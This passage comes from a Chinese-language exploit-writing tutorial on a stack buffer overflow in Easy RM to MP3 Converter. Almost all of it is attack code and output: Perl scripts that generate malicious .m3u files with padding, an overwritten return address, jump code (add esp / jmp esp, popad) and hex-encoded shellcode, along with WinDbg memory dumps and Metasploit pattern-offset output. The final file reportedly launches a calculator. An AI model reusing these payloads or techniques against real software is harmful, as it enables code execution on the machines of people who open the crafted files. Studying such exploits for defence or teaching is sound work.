my $shellcode = "\x90" x 25; #start shellcode with some NOPS
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<p>利用成功</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210102172628709-1621477705987.png" class="" title="image-20210102172628709">
<h3 id="4-jmp-reg-offset"><a href="#4-jmp-reg-offset" class="headerlink" title="4. jmp [reg + offset]"></a>4. jmp [reg + offset]</h3><p>如果我们的shellcode再寄存器入口处偏移几个字节的位置,也可以用windbg搜索jmp [reg + offset]指令来跳转过去。</p>
<pre><code>0:010> a
7c92120e jmp [esp+8]
jmp [esp+8]
7c921212 u 7c92120e
u 7c92120e
^ Bad opcode error in 'u 7c92120e '
7c921212
0:010> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e ff642408 jmp dword ptr [esp+8]
ntdll!DbgUserBreakPoint:
7c921212 cc int 3
7c921213 c3 ret
7c921214 8bff mov edi,edi
7c921216 8b442404 mov eax,dword ptr [esp+4]
7c92121a cc int 3
7c92121b c20400 ret 4
</code></pre>
<p>看结果我们可以知道jmp [esp+8]对应的机器码为<code>ff642408</code>,我们可以尝试再其它的dll中搜索包含这条指令的地址,不过我搜索了几个dll没有搜索到这条指令</p>
<h3 id="5-Blind-return"><a href="#5-Blind-return" class="headerlink" title="5. Blind return"></a>5. Blind return</h3><p>此利用主要用于在ESP寄存器指向地址可用字节数不多的情况下,设置跳板跳往可以足够容纳我们shellcode地址的地方去执行的方法。</p>
<p>此项技术基于以下步骤:</p>
<ul>
<li>利用ret指令地址覆写EIP</li>
<li>在ESP首4字节中对shellcode地址进行硬编码</li>
<li>当ret执行时,新添加的4字节(最顶端的值)将从栈中弹出,并赋予EIP</li>
<li>exploit跳至shellcode执行</li>
</ul>
<p>因此这种方法在以下情况是可用的:</p>
<ul>
<li>无法将EIP直接指向某寄存器(因为无法使用jmp或call指令,这意味着你需要对shellcode起始地址进行硬编码)</li>
<li>可控制ESP中的数据(至少能控制前四字节)</li>
</ul>
<p>如果我们想要实现上面的利用方法:</p>
<p>需要拥有shellcode的内存地址(即ESP地址)。</p>
<ol start="2">
<li>在DLL中查找到‘ret’指令的地址</li>
</ol>
<p>先生成一个测试文件来模拟一下堆栈空间</p>
<p>26067个字节A覆盖eip之前的位置+四个字节B覆盖eip + 50个字节的X来作为我们放置跳转指令的地址 + 一段不可用的null</p>
<pre><code class="perl">my $file= "blind_return_1.m3u";
my $junk= "A" x 26067;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available
my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
</code></pre>
<p>A’s地址距离ESP的偏移</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210112215736411-1621477705987.png" class="" title="image-20210112215736411">
<p>继续往后查看内存,可以看到在ESP+281之后有大段的我们写入的A字符,这表明我们可以使用这段地址来放置我们的shellcode,在X’s位置设置跳转来跳往A’s地址处</p>
<pre><code>eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=000066f3
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
42424242 ?? ???
0:000> d esp
000ffd38 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ffd48 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ffd58 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ffd68 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX..............
000ffd78 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd88 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd98 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffda8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ffdb8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffdc8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffdd8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffde8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffdf8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe08 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe18 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe28 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ffe38 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe48 90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41 .........AAAAAAA
000ffe58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe68 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe78 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffea8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d
000ffeb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffec8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffed8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffee8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffef8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fff08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fff18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fff28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d
000fff38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fff48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fff58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fff68 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fff78 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fff88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fff98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fffa8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d
000fffb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fffc8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fffd8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000fffe8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffff8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00100008 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00100018 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00100028 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d
00100038 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
</code></pre>
<p>现在我们如果想要往字符‘A’的地址放置我们的shellcode的话需要确定ESP+281处的字符‘A’位于我们写入的26067个‘A’的具体位置,这样我们才可以将shellcode防止合适的位置</p>
<ul>
<li>用pattern_create.rb工具来生成1000个字节的字符模型来替换A的前1000个字节。</li>
</ul>
<pre><code>kali@kali:/usr/share/metasploit-framework/tools/exploit$ ./pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
kali@kali:/usr/share/metasploit-framework/tools/exploit$
</code></pre>
<p>编写perl脚本,生成测试文件</p>
<pre><code class="perl">my $file= "blind_return_2.m3u";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
my $junk= "A" x 25067;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available at ESP
my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data in the ESP dump
open($FILE,">$file");
print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<p>用Easy RM to MP3打开测试文件</p>
<pre><code>eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=77c2fce0 edi=000066f3
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
42424242 ?? ???
0:000> d esp
000ffd38 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ffd48 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ffd58 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ffd68 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX..............
000ffd78 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd88 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffd98 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffda8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ffdb8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffdc8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffdd8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffde8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffdf8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe08 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe18 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe28 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ffe38 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe48 90 90 90 90 90 90 90 90-00 35 41 69 36 41 69 37 .........5Ai6Ai7
000ffe58 41 69 38 41 69 39 41 6a-30 41 6a 31 41 6a 32 41 Ai8Ai9Aj0Aj1Aj2A
000ffe68 6a 33 41 6a 34 41 6a 35-41 6a 36 41 6a 37 41 6a j3Aj4Aj5Aj6Aj7Aj
000ffe78 38 41 6a 39 41 6b 30 41-6b 31 41 6b 32 41 6b 33 8Aj9Ak0Ak1Ak2Ak3
000ffe88 41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41 Ak4Ak5Ak6Ak7Ak8A
000ffe98 6b 39 41 6c 30 41 6c 31-41 6c 32 41 6c 33 41 6c k9Al0Al1Al2Al3Al
000ffea8 34 41 6c 35 41 6c 36 41-6c 37 41 6c 38 41 6c 39 4Al5Al6Al7Al8Al9
0:000> d
000ffeb8 41 6d 30 41 6d 31 41 6d-32 41 6d 33 41 6d 34 41 Am0Am1Am2Am3Am4A
000ffec8 6d 35 41 6d 36 41 6d 37-41 6d 38 41 6d 39 41 6e m5Am6Am7Am8Am9An
000ffed8 30 41 6e 31 41 6e 32 41-6e 33 41 6e 34 41 6e 35 0An1An2An3An4An5
000ffee8 41 6e 36 41 6e 37 41 6e-38 41 6e 39 41 6f 30 41 An6An7An8An9Ao0A
000ffef8 6f 31 41 6f 32 41 6f 33-41 6f 34 41 6f 35 41 6f o1Ao2Ao3Ao4Ao5Ao
000fff08 36 41 6f 37 41 6f 38 41-6f 39 41 70 30 41 70 31 6Ao7Ao8Ao9Ap0Ap1
000fff18 41 70 32 41 70 33 41 70-34 41 70 35 41 70 36 41 Ap2Ap3Ap4Ap5Ap6A
000fff28 70 37 41 70 38 41 70 39-41 71 30 41 71 31 41 71 p7Ap8Ap9Aq0Aq1Aq
</code></pre>
<p>可以看到模式字符串从5Ai6开始,借助pattern_offset.rb工具来定位一下5Ai6在模式字符串中的位置</p>
<pre><code>kali@kali:/usr/share/metasploit-framework/tools/exploit$ ./pattern_offset.rb -q 5Ai6[*] Exact match at offset 257kali@kali:/usr/share/metasploit-framework/tools/exploit$
</code></pre>
<p>可以看到这4个字符的偏移量为257,这下我们可以设计我们要放置shellcode的位置,将文件的前257个字节放置不影响shellcode执行的字符,之后加上我们的shellcode然后剩余的字节还是填充为A。</p>
<p>编写perl脚本查看一下内存是否如我们所想的一样</p>
<pre><code class="perl">my $file= "blind_return_3.m3u";my $buffersize = 26067;my $junk= "A" x 250; my $nop = "\x90" x50; #250个字节的A加上一些不影响执行的nop(在内存空间足够用的时候在计算的shellcode地址之前填充一些nop指令可以让我们的shellcode适应性更强一点)my $shellcode = "\xcc";my $restofbuffer = "A" x ($buffersize - (length($junk) + length($nop) + length($shellcode)));my $eip = "BBBB";my $preshellcode = "X" x 54; #let's pretend this is the only space we have available at ESPmy $nop2 = "\x90" x 230; #added some nops to visually separate our 54 X's from other data in the ESP dumpopen($FILE,">$file");print $FILE $junk.$nop.$shellcode.$restofbuffer.$eip.$preshellcode.$nop2;close($FILE);
</code></pre>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210113231801856-1621477705987.png" class="" title="image-20210113231801856">
<p>当程序中断后我们可以看到,NOP起始于0x000ffe51,后面是我们的shellcode(0xCC),再之后是一串A字符。</p>
<p><em><strong>接下来我们需要在ESP(上图中X的地址)中放入jmpshellcode指令</strong></em>,来帮助我们跳转到ESP+281的位置。</p>
<p>所以我们需要在内存中寻找指令将ESP+281(或者可以稍大一点,因为我们在shellcode前放置了NOP串,这可以使shellcode的设计具有一定的灵活性)然后再使用jmp esp指令跳转到我们shellcode的位置。</p>
<p>这里我们可以寻找三个<code>add esp,0x50e</code>指令,0x5e * 3 = 11Ah > 281(119h),然后再寻找一个jmp esp指令就构成了我们的jmpshellcode了。</p>
<pre><code>0:010> a
7c92120e add esp,0x5e
add esp,0x5e
7c921211 add esp,0x5e
add esp,0x5e
7c921214 add esp,0x5e
add esp,0x5e
7c921217 jmp esp
jmp esp
7c921219
0:010> u 7c92120e
ntdll!DbgBreakPoint:
7c92120e 83c45e add esp,5Eh
7c921211 83c45e add esp,5Eh
7c921214 83c45e add esp,5Eh
7c921217 ffe4 jmp esp
7c921219 04cc add al,0CCh
7c92121b c20400 ret 4
ntdll!NtCurrentTeb:
7c92121e 64a118000000 mov eax,dword ptr fs:[00000018h]
7c921224 c3 ret
</code></pre>
<p>从上面我们可以知道jumpcode的机器码为:0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4</p>
<p>然后我们可以根据前面测试得到的一些信息来修改一下我们的exp,然后运行测试一下jmpcode是否可以覆盖ESP的位置</p>
<pre><code class="perl">my $file= "blind_return_4.m3u";
my $buffersize = 26067;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc"; #position 300
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $nop2 = "0x90" x 10; # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210129232150356-1621477705987.png" class="" title="image-20210129232150356">
<p>从图中我们可以看到,esp已经被我们的jmpcode覆盖,执行jmpcode后,ESP将会指向0xFFE50~0xFFE7B之间的地址</p>
<p>这样的话,最后我们就只需要将ESP修改为jmp esp指令的地址,来让EIP先指向我们的jmpcode处</p>
<p>在前面的调试中我们找到了一个符合我们要求jmp esp的地址(0x01b9f23a),直接拿来用就好。</p>
<p>调整shellcode布局在预定的shellcode处放置0xcc</p>
<pre><code class="perl">my $file= "blind_return_5.m3u";
my $buffersize = 26067;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc"; #position 300
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01b9f23a);
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $nop2 = "0x90" x 10; # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<pre><code>eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=000065e6
eip=000ffe7c esp=000ffe52 ebp=00104678 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
000ffe7c cc int 3
0:000> d esp
000ffe52 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe62 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe72 90 90 90 90 90 90 90 90-90 90 cc 41 41 41 41 41 ...........AAAAA
000ffe82 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe92 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffea2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffeb2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffec2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
</code></pre>
<p>可以看到果然中断在了我们预定的地址,接下来我们就可以将0xcc替换为真正的shellcode,同时将字符’A’替换为’NOP’,之后就可以跳入更大的空间,所以只需要跳转188(2 * 5e)即可。</p>
<pre><code class="perl">my $file= "blind_return_6.m3u";
my $buffersize = 26067;
my $junk= "\x90" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca"; #position 300
my $restofbuffer = "\x90" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01b9f23a);
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
#"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $nop2 = "0x90" x 10; # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
</code></pre>
<p>成功弹出计算器</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/image-20210131221051399-1621477705987.png" class="" title="image-20210131221051399">
<h3 id="其它跳转方式"><a href="#其它跳转方式" class="headerlink" title="其它跳转方式"></a>其它跳转方式</h3><ul>
<li>popad</li>
<li>硬编码跳转地址</li>
</ul>
<p>“popad”指令也可以帮助我们跳转到shellcode,popad将从栈ESP中弹出DWORD数据,并赋予各通用寄存器,他按以下顺序加载各寄存器:EDI, ESI, EBP, EDX, ECX, EAX. 因此,每次加载寄存器(popad引起的)时ESP都会递增。一次popad将用掉ESP中的32字节,并以有序的方式将其pop到个寄存器中。</p>
<p>popad的机器码是0x61</p>
<p>假设你需要跳转40字节,而你只有两字节可以用于跳转,那么你可以使用两个popad指令来使ESP指向shellcode(以一串NOP指令开头以弥补我们两次跳过的32bytes - 40bytes大小的空间)。让我们再次以 Easy RM to MP3漏洞来演示这项技术:</p>
<p>我们还使用我们前面用的脚本来练习,伪造一个缓冲区,在ESP处填充13个“X”,然后再放置一些垃圾数据(“D”&“A”)。后面接着放置我们的shellcode(NOPS + A’s)</p>
<pre><code class="perl">my $file= "test1.m3u";
my $buffersize = 26067;
my $junk= "C" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 17; #let's pretend this is the only space we have available
